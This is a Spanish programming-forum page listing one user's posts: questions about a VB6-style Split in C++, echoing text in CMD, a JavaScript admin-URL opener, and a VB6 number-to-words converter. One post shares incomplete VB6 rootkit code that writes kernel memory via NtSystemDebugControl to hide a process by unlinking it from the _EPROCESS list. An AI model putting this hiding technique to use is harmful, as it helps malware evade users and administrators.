Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Miseryk

#171
Programación C/C++ / [SOLUCIONADO] VB Split
23 Enero 2012, 04:35 AM
 Hola, estaba buscando informacion de como lograr el split de vb6 en c++, he encontrado varios codigos e inclusive he hecho 1, pero funciona con char y cuando lo intento hacer con string (el delimitador) me retorna cualquier cosa.
Lo que quiero lograr es:

Código (vb) [Seleccionar]

var = Split("Texto /- de /- prueba /--", "/-")


Lo cual retornaria dentro de la variable ( var(3) )
"Texto "
" de "
" prueba "
"-"

Cualquier ayuda o aporte seria de gran ayuda, mientras tanto sigo tratando de hacerlo o encontrar inforamcion al respecto, desde ya muchas gracias.

PD: Utilizo VS 2010.

Edit:

O simplemente:

NewSplit(cadena, delim, index)

var = Split("Texto /- de /- prueba /--", "/-", 3) //que sería "-"
#172
Programación Visual Basic / Re: [Ayuda] CMD Echo
12 Septiembre 2011, 01:54 AM
Ya hice una aplicación para la consola, tuve que modificar los headers, pero lo que quería hacer era que se ejecutara el comando echo o algo similar para mostrar un texto de respuesta desde una aplicación externa.

PD: lo que expliqué arriba es la aplicación a la cual hice la modificacion de headers, pero quiero obtener el mismo resultado desde una aplicación externa teniendo la ventana cmd abierta. (Y) : )
#173
Programación Visual Basic / Re: [Ayuda] CMD Echo
11 Septiembre 2011, 21:39 PM
En realidad no quiero que se envíe texto, solo que haga la función echo y que yo no vea texto escribiéndose, ej, hice un programa para consola y quiero que cuando lo ejecute me diga:
ej: tengo el cmd abierto:

y escribo

c:\>cleancookies

y que al hacer enter me diga:

Se ejecutó exitosamente.

y luego que parezca:
c:\> (o en el dir que estaba)

Resultado completo:


c:\>
c:\>cleancookies
Se ejecutó exitosamente.

c:\>
#174
Programación Visual Basic / [Ayuda] CMD Echo
10 Septiembre 2011, 23:56 PM
Hola, estoy queriendo enviar texto a una ventana MDOS/CMD/command prompt abierta, el texto que deseo enviar no es tipo sendkey o sendmessage o postmessage, sinó como un "echo hola", que se imprime un enter, luego el hola luego otro enter y aparece el directorio en el que estaba para poder seguir escribiendo comandos, con el IDA encontré _cmd_printf, pero la verdad que no quiero llegar al punto de injectar dlls para enviar un echo, lo pensé hacer en ASM inline pero me cuesta mucho, mientras tanto me gustaría alguna opinión de ustedes, desde ya muchas gracias.
#175
Desarrollo Web / Re: [Ayuda] Abrir ventana
29 Julio 2011, 01:19 AM
Estuve viendo que el php se ejecta en el server o algo así, que no es en tiempo de ejecución, lo que quiero hacer es q cdo haga click en el botón, pase el texto que sería el dominio, como parámetro a una función, que me concatene algo y luego que me saque la IP de esa concatenación, y luego que lo una a otra dirección y que me abra esa dirección.
#176
Desarrollo Web / [Ayuda] Abrir ventana
28 Julio 2011, 17:16 PM
Hola hice éste código y no funciona, supuestamente está bien  :rolleyes:

Código (php) [Seleccionar]

<script language="javascript">
function topen(dominio)
{
var1 = 'mail.' + dominio;
var2 = gethostbyname(var1);
window.open('http://' + var2 + ':81/admin/list.cgi?domain=' + dominio + '&cmd=1');
}
</script>

<form name="test" method="post">
<LABEL for="dominio">Dominio: </LABEL>
<INPUT type="text" dom="dom">
<br>
<input type="button" value="Abrir" onclick="topen(dom.value)" />
</form>


Alguna idea? Desde ya muchas gracias.
#177
Para clickear sin mover el mouse, tenés que dejar la mano fija, te recomiendo presionar el mouse así podés hacer click sin moverlo xDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

En realidad lo que querés hacer es clickear sin mover el cursor (supongo) tal vez ésto ayude -> API mouse_event
#178
Hola, acá les dejo un code que por ahí les sirve a los que saben mucho, pude arreglarlo un poco pero no entiendo como funciona, lo que hace es injectar kernel mode desde user mode.

Form1:
Código (vb) [Seleccionar]

Option Explicit

Private Sub Command1_Click()
Dim pEP As Long
Dim le As LIST_ENTRY

pEP = GetEProcess(Text1.Text) 'PID

Call ReadKernelMemory(pEP + &H88, VarPtr(le), 8)    'Dereference LE

MsgBox le.pBlink & vbCrLf & le.pFlink
Stop

'Call RtlAdjustPrivilege(20, 1, 0, 1)
'Also: Make sure you have SeDebug enabled of course.
'Can be easily done with: (20 = SeDebug's priv val)
'Call RtlAdjustPrivilege(20, 1, 0, 1)
'Fun stuff indeed

Call WriteKernelMemory(le.BLink, VarPtr(le.FLink), 4)     'A.FLink = &(C)     AKA: *(B.BLink+0) = le.FLink        This changes A's FLink from the address of B, to the address of C
Call WriteKernelMemory(le.FLink + 4, VarPtr(le.BLink), 4) 'C.Blink = &(A)     AKA: *(B.FLink+4) = le.BLink        This changes C's BLink from the address of B, to the address of A
End Sub

Private Sub Form_Load()
Text1.Text = GetPEBAddress
End Sub


Module1
Código (vb) [Seleccionar]

Option Explicit

'To modify kernel memory from usermode  you can use the NtSystemDebugControl API function.

'Found it from some chinese forum =].
'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.)

'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel"
'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks)

Public Type LIST_ENTRY
    pFlink As Long
    pBlink As Long
End Type

'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html

Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long

Public Type MEMORY_CHUNKS
   VirtualAddress As Long
   Buffer As Long
   BufferSize As Long
End Type

Public Const DebugReadVirtualMemory& = 8
Public Const DebugWriteVirtualMemory& = 9

Public Type PROCESS_BASIC_INFORMATION
   ExitStatus As Long 'NTSTATUS
   PebBaseAddress As Long 'PPEB
   AffinityMask As Long 'ULONG_PTR
   BasePriority As Long 'KPRIORITY
   UniqueProcessId As Long 'ULONG_PTR
   InheritedFromUniqueProcessId As Long 'ULONG_PTR
End Type

Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long

Public Enum PROCESSINFOCLASS
   ProcessBasicInformation
   ProcessQuotaLimits
   ProcessIoCounters
   ProcessVmCounters
   ProcessTimes
   ProcessBasePriority
   ProcessRaisePriority
   ProcessDebugPort
   ProcessExceptionPort
   ProcessAccessToken
   ProcessLdtInformation
   ProcessLdtSize
   ProcessDefaultHardErrorMode
   ProcessIoPortHandlers '// Note: this is kernel mode only
   ProcessPooledUsageAndLimits
   ProcessWorkingSetWatch
   ProcessUserModeIOPL
   ProcessEnableAlignmentFaultFixup
   ProcessPriorityClass
   ProcessWx86Information
   ProcessHandleCount
   ProcessAffinityMask
   ProcessPriorityBoost
   ProcessDeviceMap
   ProcessSessionInformation
   ProcessForegroundInformation
   ProcessWow64Information
   ProcessImageFileName
   ProcessLUIDDeviceMapsEnabled
   ProcessBreakOnTermination
   ProcessDebugObjectHandle
   ProcessDebugFlags
   ProcessHandleTracing
   ProcessIoPriority
   ProcessExecuteFlags
   ProcessResourceManagement
   ProcessCookie
   ProcessImageInformation
   MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum
End Enum

Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long

Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)

Public Function GetPEBAddress() As Long
   On Error GoTo NotSupported
   Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long
   
   If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then
       GetPEBAddress = pbi.PebBaseAddress
   Else
       GetPEBAddress = GetPEBAddressinXP
   End If
NotSupported:
End Function

Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
   Dim MemoryChunks As MEMORY_CHUNKS
   MemoryChunks.VirtualAddress = VirtualAddress
   MemoryChunks.Buffer = Buffer
   MemoryChunks.BufferSize = BufferSize
   ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
End Function

Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long
   Dim MemoryChunks As MEMORY_CHUNKS
   MemoryChunks.VirtualAddress = VirtualAddress
   MemoryChunks.Buffer = Buffer
   MemoryChunks.BufferSize = BufferSize
   WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&)
End Function

Public Function GetPEBAddressinXP() As Long
   On Error GoTo NotSupported 'Windows 9X/Me will occures error
   Dim pTeb As Long, ppPeb As Long
   pTeb = NtCurrentTeb 'get TEB
   
   On Error Resume Next ' on error ignore
   If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure
   ' +0x030 ProcessEnvironmentBlock : _PEB
   ppPeb = pTeb + &H30&
   'check IsValid
   If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function
   ' returns PEB
   RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4
NotSupported:
End Function


Los que quieran aportar conocimientos y funcionamientos, bienvenidos sean :). Saludos.

Edit:
Falta código que no lo pude conseguir ni completar.
#179
:D:D:D gracias, lo había pensado así pero no agregar al array el GetProc, a veces la respuesta suele ser como uno la piensa :P. Gracias (Y)(Y)(Y)
#180
Weno estaba sin nada que hacer entonces me lo puse a razonar, éste código no está optimizado.
No programo de una manera determinada, lo hago con respecto a las reacciones cerebrales dependiendo de ciertos estímulos, oséa que mañana lo puedo pensar de una manera diferente... acá dejo el código (Y).

PD: no sé hasta que número capta bien. créo que hasta 999.999.999
PD2: pueden haber errores gramaticales *-)  :silbar:

Código (vb) [Seleccionar]

[Form]
Option Explicit

Private Sub Command1_Click()

Text2.Text = NumersToLetters(Val(Text1.Text))

Exit Sub
'1226
'y que devuelva:
'mil doscientos veinte y seis....
Dim num As Double

'num = 1.000.000.000.000
num = 1000000000000#

MsgBox num

MsgBox Val(Text1.Text)
End Sub

Private Sub Form_Load()
'Dim p As Byte

'p = 99

'Select Case p
'    Case 1 To 99
'        MsgBox "< 100"
'    Case Else
'        MsgBox "> 100"
'End Select
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 8 Then Exit Sub
If IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0
End Sub


Código (vb) [Seleccionar]

Option Explicit
'----------------------------------------------------------------------------------------
' Module            : NumbersToLetters
' Purpose           : Numbers to letters
' Author            : Misery
' DateTime_Begin    : 09/05/2011
' DateTime_End      : 10/05/2011
'----------------------------------------------------------------------------------------

'http://roble.pntic.mec.es/msanto1/ortografia/numeros.htm

'unidad = cero, uno, dos, tres, cuatro, cinco, seis, siete, ocho, nueve, diez
'decena = once, doce, trece, catorce, quince, ->(Ahora aparece el Copy Paste) dieciséis, diecisiete,
   'dieciocho, diecinueve, veinte, veintiuno, veintidós, veintitrés, veinticuatro, veinticinco, veintiséis
   'veintisiete, veintiocho, veintinueve, treinta, treinta y uno, treinta y dos, cuarenta, cuarenta y uno
   'cincuenta, sesenta, setenta, ochenta, noventa
'centena: cien, ciento uno, ciento dos, doscientos, doscientos dos, trescientos, cuatrocientos, quinientos
   'seiscientos, setecientos, ochocientos, novecientos



'unidad de mil: mil, dos mil, tres mil, cuatro mil, cinco mil, seis mil, siete mil, ocho mil, nueve mil
'decena de mil: diez mil (10.000)
'centena de mil: cien mil (100.000), quinientos mil (500.000)
'unidad de millon?: un millón (1.000.000)---------------------------------DIE HERE
'decena de millon?: diez millones (10.000.000)
'centena de millon?: cien millones (100.000.000)
'mil millones (1.000.000.000)
'diez mil millones (10.000.000.000)
'cien mil millones (100.000.000.000)
'un billón (1.000.000.000.000)

'*Long (4) Números enteros en el rango de -2.147.483.648 a 2.147.483.647

'Se me fueron las ganas de hacer este programa, y solamente hice los comentarios...

'1226
'y que devuelva:
'mil doscientos veinte y seis.... -> mil doscientos veintiseis, lol, que ironía.

Public unidad(0 To 15) As String
Public Subunidad(0 To 10) As String

Public decena(0 To 9) As String
Public centena(0 To 9) As String

Public mil(0 To 9) As String

Sub Main()
Call Config
Form1.Show
End Sub

Public Sub Config()
Dim i As Byte

'#############################################################
                  '                DECENA(0,1,2,3)                                        CENTENA(4,5,6,7) ->                                  MIL(8,9)
unidad(0) = "cero": Subunidad(0) = ""
unidad(1) = "uno": Subunidad(1) = "on;die;ci;":             Subunidad(1) = Subunidad(1) & ";c;ien;;" ':           Subunidad(1) = Subunidad(1) & ";;mil"
unidad(2) = "dos": Subunidad(2) = "do;ve;int;":             Subunidad(2) = Subunidad(2) & ";c;ien;dos;tos" ':     Subunidad(2) = Subunidad(2) & ";dos ;mil"
unidad(3) = "tres": Subunidad(3) = "tre;tre;int;a":         Subunidad(3) = Subunidad(3) & ";c;ien;tres;tos" ':    Subunidad(3) = Subunidad(3) & ";tres ;mil"
unidad(4) = "cuatro": Subunidad(4) = "cator;cuar;ent;a":    Subunidad(4) = Subunidad(4) & ";c;ien;cuatro;tos" ':  Subunidad(4) = Subunidad(4) & ";cuatro ;mil"
unidad(5) = "cinco": Subunidad(5) = "quin;cincu;ent;a":     Subunidad(5) = Subunidad(5) & ";;ien;quin;tos" ':     Subunidad(5) = Subunidad(5) & ";cinco ;mil"
unidad(6) = "seis": Subunidad(6) = "ses;ses;ent;a":         Subunidad(6) = Subunidad(6) & ";c;ien;seis;tos" ':    Subunidad(6) = Subunidad(6) & ";seis ;mil"
unidad(7) = "siete": Subunidad(7) = "set;set;ent;a":        Subunidad(7) = Subunidad(7) & ";c;ien;sete;tos" ':    Subunidad(7) = Subunidad(7) & ";siete ;mil"
unidad(8) = "ocho": Subunidad(8) = "och;och;ent;a":         Subunidad(8) = Subunidad(8) & ";c;ien;ocho;tos" ':    Subunidad(8) = Subunidad(8) & ";ocho ;mil"
unidad(9) = "nueve": Subunidad(9) = "nov;nov;ent;a":        Subunidad(9) = Subunidad(9) & ";c;ien;nove;tos" ':    Subunidad(9) = Subunidad(9) & ";nueve ;mil"
unidad(10) = "diez" ': Subunidad(10) = "en;ento;tos;ien"

'Numeros molestos
'once, doce, trece, catorce, quince
'unidad(11) = "once" 'DEATH
For i = 1 To 5
   unidad(i + 10) = Split(Subunidad(i), ";")(0) & "ce"
Next i
'unidad(12) = "doce" 'DEATH
'unidad(13) = "trece" 'DEATH
'unidad(14) = "catorce" 'DEATH
'unidad(15) = "quince" 'DEATH

'#############################################################

For i = 1 To 9
   decena(i) = Split(Subunidad(i), ";")(1) & Split(Subunidad(i), ";")(2) & Split(Subunidad(i), ";")(3)
   'If i = 1 Then
   '    decena(i) = Split(Subunidad(i * 10), ";")(1) & "ci" 'dieci-séis, dieci-siete, dieci-ocho, dieci-nueve
   'Else
   '    decena(i) = Split(Subunidad(i * 10), ";")(1) & "int"
   '    If i > 2 Then decena(i) = decena(i) & "a"
   'End If
Next i

'decena(1) = Subunidad(10) & "ci" '>= 16 dieci-séis, dieci-siete, dieci-ocho, dieci-nueve
'decena(2) = "veint" 'veint e 20 / veint i 20+ +numero
''Acá puedo hacer lo mismo que abajo, hay un patrón para éstos números, pero mucho bardo
'decena(3) = "treinta" ' y +numero
'decena(4) = "cuarenta" ' y +numero
'decena(5) = "cincuenta" ' y +numero
'decena(6) = "sesenta" ' y +numero
'decena(7) = "setenta" ' y +numero
'decena(8) = "ochenta" ' y +numero
'decena(9) = "noventa" ' y +numero
'decena(10) = "cien"

'#############################################################

'centena(1) = "cien" ' +numero
For i = 1 To 9 '                                                        C                            IEN                           TOS
   centena(i) = Split(Subunidad(i), ";")(6) & Split(Subunidad(i), ";")(4) & Split(Subunidad(i), ";")(5) & Split(Subunidad(i), ";")(7)
Next i
'numero + cien + tos
'centena(2) = "doscientos"
'centena(3) = "trescientos"
'centena(4) = "cuatrocientos"
'centena(5) = "quinientos"
'centena(6) = "seiscientos"
'centena(7) = "setecientos"
'centena(8) = "ochocientos"
'centena(9) = "novecientos"

'#############################################################

'For i = 1 To 9 '                    NUM                          MIL
'    mil(i) = Split(Subunidad(i), ";")(8) & Split(Subunidad(i), ";")(9)
'Next i
End Sub

Public Function NumersToLetters(ByVal Number As Double) As String
On Local Error Resume Next
Dim u As Byte, d As Byte, c As Byte

Dim tLoop As Byte, Rta As String, cont As Byte
Dim partes(1 To 3) As String 'x millones + x miles + c + d + u

'u = Mid(StrReverse(Number), 1, 1)
'd = Mid(StrReverse(Number), 2, 1)
'c = Mid(StrReverse(Number), 3, 1)
'.

For tLoop = 1 To Len(CStr(Number))
   u = Mid(StrReverse(Number), tLoop, 1)
   
   If tLoop + 1 > Len(CStr(Number)) Then
       d = 0
   Else
       d = Mid(StrReverse(Number), tLoop + 1, 1)
   End If
   
   If tLoop + 2 > Len(CStr(Number)) Then
       c = 0
   Else
       c = Mid(StrReverse(Number), tLoop + 2, 1)
   End If

   Rta = Ret_C(c, d, u) & " " & Ret_DU(c, d, u, cont, Len(CStr(Number))) & " " & RetornarPunto(tLoop, c, d, u)
   tLoop = tLoop + 2
   cont = cont + 1
   partes(cont) = Rta
Next tLoop

'If Number > 1000000 Then
'    NumersToLetters = "Error, solo hasta 1 millon."
'    Exit Function
'End If

Dim p_d As String, p_c As String

'p_d = Ret_DU(c, d, u)
'p_c = Ret_C(c, d, u)

'NumersToLetters = p_c & " " & p_d
NumersToLetters = Trim(Trim(partes(3)) & " " & Trim(partes(2)) & IIf(Trim(partes(2)) <> "", " ", "") & Trim(partes(1)))
End Function

Public Function Ret_DU(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte, ByVal Punto As Byte, ByVal Longitud As Byte) As String
If (c * 100) + (d * 10) + (u * 1) = 0 And Longitud < 4 Then
   Ret_DU = unidad(u)
   Exit Function
End If
Select Case d
   Case 0
       If Punto = 0 Then
           Ret_DU = IIf(u > 0, unidad(u), "")
       ElseIf Punto >= 1 Then
           If u = 1 Then
               Ret_DU = "un"
           Else
               Ret_DU = IIf(u > 1, unidad(u), "")
           End If
       End If
   Case 1
       Select Case (d * 10) + u
           Case 10
               Ret_DU = unidad((d * 10) + u)
           Case 11 To 15
               Ret_DU = unidad((d * 10) + u)
           Case Else
               Ret_DU = decena(1) & unidad(u)
       End Select
   Case 2
       Select Case (d * 10) + u
           Case 20
               Ret_DU = decena(2) & "e"
           Case Else
               Ret_DU = decena(2) & "i" & unidad(u)
       End Select
   Case Else
       'Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "")
       Ret_DU = decena(d) & IIf(u > 0, " y ", "") & IIf(u > 0, unidad(u), "")
       If Punto > 0 Then Ret_DU = Replace(Ret_DU, "uno", "un")
           'Esto es para q no diga 331123 - trescientos treinta y "uno" mil ciento veintitres
           'Muchas cosas que modifiké son este tipo de casos...
End Select
'diez
'once
'doce
'trece
'catorce
'quince
'dieci-seis
'dieci-siete
'dieci-ocho
'dieci-nueve

'veint-e
'veint-i-uno
'veint-i-dos
'veint-i-tres
'veint-i-cuatro
'veint-i-cinco
'veint-i-seis
'veint-i-siete
'veint-i-ocho
'veint-i-nueve
End Function

Public Function Ret_C(ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String
Select Case c
   Case 1
       Select Case (d * 10) + u
           Case 0
               Ret_C = centena(c)
           Case Else
               Ret_C = centena(c) & "to"
       End Select
   Case Else
       Ret_C = centena(c)
End Select
End Function

Public Function RetornarPunto(ByVal tLoop As Byte, ByVal c As Byte, ByVal d As Byte, ByVal u As Byte) As String
Select Case tLoop
   Case 4
       RetornarPunto = IIf(c * 100 + d * 10 + u * 1 > 0, "mil", "")
   Case 7
       RetornarPunto = "millon" & IIf(c * 100 + d * 10 + u * 1 > 1, "es", "")
End Select
End Function